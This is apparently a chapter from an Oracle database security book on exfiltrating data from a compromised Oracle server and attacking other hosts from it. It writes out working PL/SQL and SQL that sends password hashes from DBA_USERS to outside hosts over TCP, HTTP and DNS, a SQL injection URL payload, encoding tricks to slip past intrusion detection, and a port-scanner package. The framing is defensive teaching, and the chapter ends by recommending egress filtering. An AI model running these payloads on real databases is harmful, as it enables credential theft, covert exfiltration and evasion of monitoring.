This chapter examines accessing the network with a view to data exfiltration as well as attacking other systems from a compromised Oracle server.
Data exfiltration is the process of getting data without being noticed. This could be something as simple as walking away with the physical backup tapes to something as complex as using covert channels over the network. One of the more sophisticated covert channel methods was developed by Joanna Rutkowska. Called NUSHU, it was named after an old secret language used by Chinese women. NUSHU, the more recent one, uses the TCP initial sequence number to hide encrypted data. While NUSHU can be detected (using methods developed by Steven J. Murdoch and Stephen Lewis from Cambridge University in the U.K. and Eugene Tumoian and Maxim Anikeev from Taganrog State University in Russia), it must be noted that these methods were developed only after NUSHU was published.
It is difficult to detect unknown, covert channels. Covert channels tend to hide small chunks of data (for example, 32 bits) and smuggle them out of the network - this can take an extremely long time given a database server with 3 terabytes of data, as such covert channels tend to be used when the portions of the data are known. It is just too impractical to transfer the database wholesale using covert channels. Unless an attacker has all the time in the world, fewer covert channels need to be used - indeed, channels that hide in plain sight. This chapter examines some of the methods that might be used to smuggle data out of the database and away from the network. Methods can be considered as either in-band or out-of-band. An out-of-band method uses a separate communication channel, whereas an in-band method uses the same TCP channel over which the query is executed.
The UTL_TCP PL/SQL package enables the Oracle server to create outbound connections to remote hosts on a specified TCP port. As such, it is a useful method of exfiltrating data from the database. First a connection is made to a given TCP port on a given host, and then data can be transferred once connected. Needless to say, if the Oracle server is protected by a firewall with egress filtering, then an attacker would need to ascertain which ports are allowed out. This could be achieved using the TCP port scanner presented earlier. Typically, remote administration ports such as 22 (SSH) and 3389 (Terminal Services) are often found "open," as well as network infrastructure ports such as TCP 53 (DNS). It is also not uncommon to find ports 25 (SMTP), 80 (HTTP), and 443 (HTTPS) accessible. The following code demonstrates how UTL_TCP could be used as an out-of-band method for extracting data from the database server:
DECLARE TYPE C_TYPE IS REF CURSOR; CV C_TYPE; PASSWORD VARCHAR2(30); USERNAME VARCHAR2(30); C UTL_TCP.CONNECTION; L PLS_INTEGER; BEGIN C:= UTL_TCP.OPEN_CONNECTION('192.168.0.10',111,'US7ASCII'); OPEN CV FOR 'SELECT USERNAME,PASSWORD FROM SYS.DBA_USERS'; LOOP FETCH CV INTO USERNAME,PASSWORD; L:=UTL_TCP.WRITE_LINE(C, USERNAME||':'||PASSWORD); EXIT WHEN CV%NOTFOUND; END LOOP; CLOSE CV; UTL_TCP.CLOSE_CONNECTION(C); END; /
This code connects to TCP port 111 (PortMapper) on 192.168.0.10. It then selects the username and password from DBA_USERS, concatenates them, and sends them over the wire. Then the connection is closed. Ignoring DBMS_EXPORT_EXTENSION for the time being (see Chapter 5, "Oracle and PL/SQL"), executing large blocks of anonymous PL/SQL like this is mostly only available if one has a direct connection to the database server; it is not useful for SQL injection situations. UTL_HTTP is, however. We'll look at this next.
The UTL_HTTP package can be used to make out-of-band requests to web servers from the Oracle database servers. The request function takes a URL:
select utl_http.request('http://192.168.0.100:5500/'||(SELECT PASSWORD FROM DBA_USERS WHERE USERNAME='SYS')) from dual;
You can see here that the data of interest is the password for the SYS user. When selected, it is sent to a remote web server listening on TCP port 5500. UTL_HTTP.REQUEST is particularly useful in SQL injection scenarios. For example, assume an application is feeding into an Oracle backend and it is vulnerable to SQL injection in the FOO parameter of the search page. One could then inject UTL_HTTP.REQUEST to exfiltrate data:
http://example.com/search?FOO=BAR'||utl_http.request('http://192.168.0.1 00:5500/'||(SELECT PASSWORD FROM DBA_USERS WHERE USERNAME='SYS'))||'BAR
Other packages that can be used very effectively for data exfiltration over the network are UTL_MAIL, UTL_SMTP and UTL_INADDR. Of particular interest is UTL_INADDR, which can be used to exfiltrate data disguised as DNS queries.
The UTL_INADDR package is used to look up host names and IP addresses and can be used as another out-of-band method. Provided that the server has been configured with a name server (which they almost always are!), it is possible to exfiltrate data using this package. Due to the way that the Domain Name System works, when a name server gets a query for the IP address of a host it does not know about, it forwards the request upstream to the name server responsible for the domain in question. For example, if, when connected to my ISP, I query my ISP's name server for a host, xyzpqr.ngssoftware.com, then it will forward the request to the NGS name server for resolution if it's not in the cache. The NGS name server will reply with the host's IP address - if it exists, of course. Provided you own the name server, and can therefore get access to the logs or be able to capture traffic off the wire, then you can send out data from the database server over UDP port 53 - assuming, of course, that the firewall settings allow the database server name lookups.
Executing the query
SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT PASSWORD FROM DBA_USERS WHERE USERNAME='SYS')||'.ngssoftware.com') FROM DUAL;
causes the server to query 0D47B550C5F70DED.ngssoftware.com:
IP Header Length and version: 0x45 Type of service: 0x00 Total length: 78 Identifier: 18150 Flags: 0x0000 TTL: 128 Protocol: 17 (UDP) Checksum: 0x6a17 Source IP: 192.168.0.120 Dest IP: 194.72.6.57 UDP Header Source port: 1309 Dest port: 53 Length: 58 Checksum: 0x2cce DNS Packet Identification: 49 Flags: 0x0100 DNS Query Standard Query DNS Message was NOT truncated RD (Recursion Desired) Server does not support recursive queries No. of Questions: 1 No. of Answer Resource Records: 0 No. of Name Server Resource Records: 0 No. Additional Resource Records: 0 Query Name : 0D47B550C5F70DED.ngssoftware.com Query Type : A (Host Address) Query Class : IN (Internet Class)
This query ends up at the NGS name server and thus can be captured. When using UTL_INADDR, the host name can be up to 254 bytes long. Of these, a number of bytes will be used for the domain - e.g., ngssoftware.com. In addition, each portion of the host name is limited to 64 characters of which the last must be a dot.
Again, because UTL_INADDR is a function, it can be useful in SQL injection scenarios.
Some database intrusion detection products examine data leaving the server to determine whether it matches a given pattern - for example, Personally Identifiable Information (PII) such as credit card numbers or social security numbers. To avoid setting off alarms, attackers may obfuscate or even encrypt the data before stealing it. Anyone sniffing the network wire will just see an innocent-looking nonsense or random strings. Needless to say, to some this may be considered evidence of a compromise, so the attacker is left with striking a balance. Using credit cards as an example, devices looking for such data leaving the database server can often be trivially tricked by simple concatenation of two or more card numbers. Each character of the numbers could be summed with a constant - for example, 0x20 - making a numeric string an alpha string using the characters P to Y. Packages such as the DBMS_OBUSCATION_TOOLKIT, DBMS_CRYPTO, or UTL_ENCODE can also be used. For example,
select utl_encode.base64_encode((select password from dba_users where username = 'SYS')) from dual;
results in the base64 encoded string of "30367274702B3268744B6F3D".
Another alternative is to use the LZ_COMPRESS function of UTL_COMPRESS, which uses the Lempel-Ziv compression algorithm.
select utl_compress.lz_compress((select password from dba_users where username = 'SYS'),6) from dual;
This produces the string "1F8B080000000000000BBBBCEAEDF2B70BB7 AC020094E6B32C08000000".
These obfuscation methods can be used with both in-band and out-of-band methods.
You have just seen that UTL_TCP can be used to create connections to other hosts on the network on an arbitrary TCP port. This can be scripted to turn an Oracle database server into a TCP port scanner (probably the most expensive one ever!):
CREATE OR REPLACE PACKAGE TCP_SCAN IS PROCEDURE SCAN(HOST VARCHAR2, START_PORT NUMBER, END_PORT NUMBER, VERBOSE NUMBER DEFAULT 0); PROCEDURE CHECK_PORT(HOST VARCHAR2, TCP_PORT NUMBER, VERBOSE NUMBER DEFAULT 0); END TCP_SCAN; / SHOW ERRORS CREATE OR REPLACE PACKAGE BODY TCP_SCAN IS PROCEDURE SCAN(HOST VARCHAR2, START_PORT NUMBER, END_PORT NUMBER, VERBOSE NUMBER DEFAULT 0) AS I NUMBER := START_PORT; BEGIN FOR I IN START_PORT..END_PORT LOOP CHECK_PORT(HOST,I,VERBOSE); END LOOP; EXCEPTION WHEN OTHERS THEN DBMS_OUTPUT.PUT_LINE('An error occurred.'); END SCAN; PROCEDURE CHECK_PORT(HOST VARCHAR2, TCP_PORT NUMBER, VERBOSE NUMBER DEFAULT 0) AS CN SYS.UTL_TCP.CONNECTION; NETWORK_ERROR EXCEPTION; PRAGMA EXCEPTION_INIT(NETWORK_ERROR,-29260); BEGIN DBMS_OUTPUT.ENABLE(1000000); CN := UTL_TCP.OPEN_CONNECTION(HOST, TCP_PORT); DBMS_OUTPUT.PUT_LINE('TCP Port ' || TCP_PORT || ' on ' || HOST || ' is open.'); UTL_TCP.CLOSE_CONNECTION(CN); EXCEPTION WHEN NETWORK_ERROR THEN IF VERBOSE !=0 THEN DBMS_OUTPUT.PUT_LINE('TCP Port ' || TCP_PORT || ' on ' || HOST || ' is not open.'); END IF; WHEN OTHERS THEN DBMS_OUTPUT.PUT_LINE('There was an error.'); END CHECK_PORT; END TCP_SCAN; / SHOW ERRORS / EXEC TCP_SCAN.SCAN('192.168.0.10',1,200,1);
UTL_TCP could also be used as a delivery mechanism for shellcode that takes advantage of buffer overflow vulnerabilities in other network servers - for example, the IRemoteActivation overflow on Windows systems or the Solaris in.lpd overflow.
You can, of course, use Java to connect out the network using sockets or other prepackaged network classes like URL, but to do so the user needs the connect and resolve java.net.SocketPermission:
exec dbms_java.grant_permission('SCOTT', 'SYS:java.net.SocketPermission','*', 'connect, resolve');
Once you have this, you can connect out to any host - this is indicated with the asterisk in the preceding statement. The following code uses the URL class to enable you to connect out to web servers:
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVAURL" AS import java.lang.*; import java.io.*; import java.net.*; public class JAVAURL { public static void getUrl (String purl) throws IOException { try { URL url = new URL(purl); InputStream is = url.openStream(); BufferedInputStream bis = new BufferedInputStream(is); int page; while(true) { page = bis.read(); if(page == -1) break; System.out.print((char)page); } } catch (MalformedURLException mue) { System.err.println ("Invalid URL"); } catch (IOException io) { System.err.println ("Read Error -" + io); } } }; / show errors CREATE OR REPLACE PROCEDURE JAVAURLPROC (purl IN VARCHAR2) AS LANGUAGE JAVA NAME 'JAVAURL.getUrl (java.lang.String)'; / set serveroutput on exec dbms_java.set_output(2000); exec javaurlproc('http://www.databasesecurity.com/');
When it comes to other Oracle database servers on the network, database links can be employed. A database link is a special database object that connects one Oracle server to another. It is created using the CREATE DATABASE LINK statement. A link can be shared, i.e., public or private. The following will create a private link:
SQL> create database link remote_db connect to scott identified by tiger using '(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp) (HOST=192.168.0.120)(PORT=1521))(CONNECT_DATA= (SERVICE_NAME=orcl.ngssoftware.com)))';
Database link created. Once created, the link can then be queried using the @ sign:
SQL>SELECT USERNAME FROM ALL_USERS@REMOTE_DB
Provided the username and password are correct, the first server will connect to the second and query the ALL_USERS table.
This chapter has looked at a number of methods that attackers might employ to get data out of the database server without being noticed. One of the more effective strategies to help protect against this is a vigorous egress rule set on the firewall.
Introduction